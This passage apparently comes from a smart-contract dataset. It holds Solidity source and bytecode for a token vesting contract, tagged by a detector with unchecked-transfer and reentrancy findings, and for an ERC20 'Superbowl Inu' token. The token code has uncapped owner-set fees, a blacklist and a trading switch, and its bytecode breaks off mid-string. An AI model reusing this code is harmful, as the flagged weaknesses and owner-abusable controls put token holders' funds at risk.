mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // contract VestingContract is Ownable { using SafeMath for uint256; // CNTR Token Contract IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B); uint256[] vestingSchedule; address public receivingAddress; uint256 public vestingStartTime; uint256 constant public releaseInterval = 30 days; uint256 public totalTokens; uint256 public totalDistributed; uint256 index = 0; constructor(address _address) public { receivingAddress = _address; } function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner { require(vestingStartTime == 0); vestingSchedule = _vestingSchedule; for(uint256 i = 0; i < vestingSchedule.length; i++) { totalTokens = totalTokens.add(vestingSchedule[i]); } } function updateReceivingAddress(address _address) public onlyOwner { receivingAddress = _address; } function releaseToken() public { require(vestingSchedule.length > 0); require(msg.sender == owner() || msg.sender == receivingAddress); if (vestingStartTime == 0) { require(msg.sender == owner()); vestingStartTime = block.timestamp; } for (uint256 i = index; i < vestingSchedule.length; i++) { if (block.timestamp >= vestingStartTime + (index * releaseInterval)) { tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether)); totalDistributed = totalDistributed.add(vestingSchedule[i]); index = index.add(1); } else { break; } } } function getVestingSchedule() public view returns (uint256[] memory) { return vestingSchedule; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
7,364
0x6b3dfcb3639222c0b797d1a31f7401a70a51ade2
/** *Submitted for verification at Etherscan.io on 2022-02-13 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SuperbowlInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Superbowl Inu"; string private constant _symbol = "$UPERBWLS"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private _redisbuy = 0; uint256 private _redissell = 0; uint256 private _taxbuy = 11; uint256 private _taxsell = 11; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFee = _redissell; uint256 private _taxFee = _taxsell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress = payable(0x2035e8d0417E51991fdE35A2D092637aADDab2a5); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTransactionAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTransactionAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { //Create the router _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTransactionAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTransactionAmount) { contractTokenBalance = _maxTransactionAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisbuy; _taxFee = _taxbuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redissell; _taxFee = _taxsell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisbuy, uint256 redissell, uint256 taxbuy, uint256 taxsell) public onlyOwner { _redisbuy = redisbuy; _redissell = redissell; _taxbuy = taxbuy; _taxsell = taxsell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTransactionAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055d578063dd62ed3e1461057d578063ea1644d5146105c3578063f2fde38b146105e357600080fd5b8063a2a957bb146104d8578063a9059cbb146104f8578063bfd7928414610518578063c3c8cd801461054857600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b857600080fd5b806374010ece146103e55780637f2feddc146104055780638da5cb5b1461043257600080fd5b80632fd689e31161016f5780636d8aa8f81161013e5780636d8aa8f81461037b5780636fc3eaec1461039b57806370a08231146103b0578063715018a6146103d057600080fd5b80632fd689e314610309578063313ce5671461031f57806349bd5a5e1461033b5780636b9990531461035b57600080fd5b8063095ea7b3116101ab578063095ea7b3146102665780631694505e1461029657806318160ddd146102ce57806323b872dd146102e957600080fd5b8062b8cf2a146101dc57806304beaeb8146101fe57806306fdde031461022757600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192b565b610603565b005b34801561020a57600080fd5b5061021460155481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5060408051808201909152600d81526c5375706572626f776c20496e7560981b60208201525b60405161021e91906119f0565b34801561027257600080fd5b50610286610281366004611a45565b6106a2565b604051901515815260200161021e565b3480156102a257600080fd5b506013546102b6906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b3480156102da57600080fd5b50670de0b6b3a7640000610214565b3480156102f557600080fd5b50610286610304366004611a71565b6106b9565b34801561031557600080fd5b5061021460175481565b34801561032b57600080fd5b506040516009815260200161021e565b34801561034757600080fd5b506014546102b6906001600160a01b031681565b34801561036757600080fd5b506101fc610376366004611ab2565b610722565b34801561038757600080fd5b506101fc610396366004611adf565b61076d565b3480156103a757600080fd5b506101fc6107b5565b3480156103bc57600080fd5b506102146103cb366004611ab2565b6107e2565b3480156103dc57600080fd5b506101fc610804565b3480156103f157600080fd5b506101fc610400366004611afa565b610878565b34801561041157600080fd5b50610214610420366004611ab2565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b03166102b6565b34801561045c57600080fd5b506101fc61046b366004611adf565b6108a7565b34801561047c57600080fd5b5061021460165481565b34801561049257600080fd5b50604080518082019091526009815268245550455242574c5360b81b6020820152610259565b3480156104c457600080fd5b506101fc6104d3366004611afa565b6108ef565b3480156104e457600080fd5b506101fc6104f3366004611b13565b61091e565b34801561050457600080fd5b50610286610513366004611a45565b61095c565b34801561052457600080fd5b50610286610533366004611ab2565b60106020526000908152604090205460ff1681565b34801561055457600080fd5b506101fc610969565b34801561056957600080fd5b506101fc610578366004611b45565b61099f565b34801561058957600080fd5b50610214610598366004611bc9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cf57600080fd5b506101fc6105de366004611afa565b610a40565b3480156105ef57600080fd5b506101fc6105fe366004611ab2565b610a6f565b6000546001600160a01b031633146106365760405162461bcd60e51b815260040161062d90611c02565b60405180910390fd5b60005b815181101561069e5760016010600084848151811061065a5761065a611c37565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069681611c63565b915050610639565b5050565b60006106af338484610b59565b5060015b92915050565b60006106c6848484610c7d565b610718843361071385604051806060016040528060288152602001611d7d602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b9565b610b59565b5060019392505050565b6000546001600160a01b0316331461074c5760405162461bcd60e51b815260040161062d90611c02565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107975760405162461bcd60e51b815260040161062d90611c02565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107d557600080fd5b476107df816111f3565b50565b6001600160a01b0381166000908152600260205260408120546106b39061122d565b6000546001600160a01b0316331461082e5760405162461bcd60e51b815260040161062d90611c02565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a25760405162461bcd60e51b815260040161062d90611c02565b601555565b6000546001600160a01b031633146108d15760405162461bcd60e51b815260040161062d90611c02565b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109195760405162461bcd60e51b815260040161062d90611c02565b601755565b6000546001600160a01b031633146109485760405162461bcd60e51b815260040161062d90611c02565b600693909355600791909155600855600955565b60006106af338484610c7d565b6012546001600160a01b0316336001600160a01b03161461098957600080fd5b6000610994306107e2565b90506107df816112b1565b6000546001600160a01b031633146109c95760405162461bcd60e51b815260040161062d90611c02565b60005b82811015610a3a5781600560008686858181106109eb576109eb611c37565b9050602002016020810190610a009190611ab2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3281611c63565b9150506109cc565b50505050565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b815260040161062d90611c02565b601655565b6000546001600160a01b03163314610a995760405162461bcd60e51b815260040161062d90611c02565b6001600160a01b038116610afe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062d565b6001600160a01b038216610c1c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062d565b6001600160a01b038216610d435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062d565b60008111610da55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062d565b6000546001600160a01b03848116911614801590610dd157506000546001600160a01b03838116911614155b156110b257601454600160a01b900460ff16610e6a576000546001600160a01b03848116911614610e6a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062d565b601554811115610ebc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610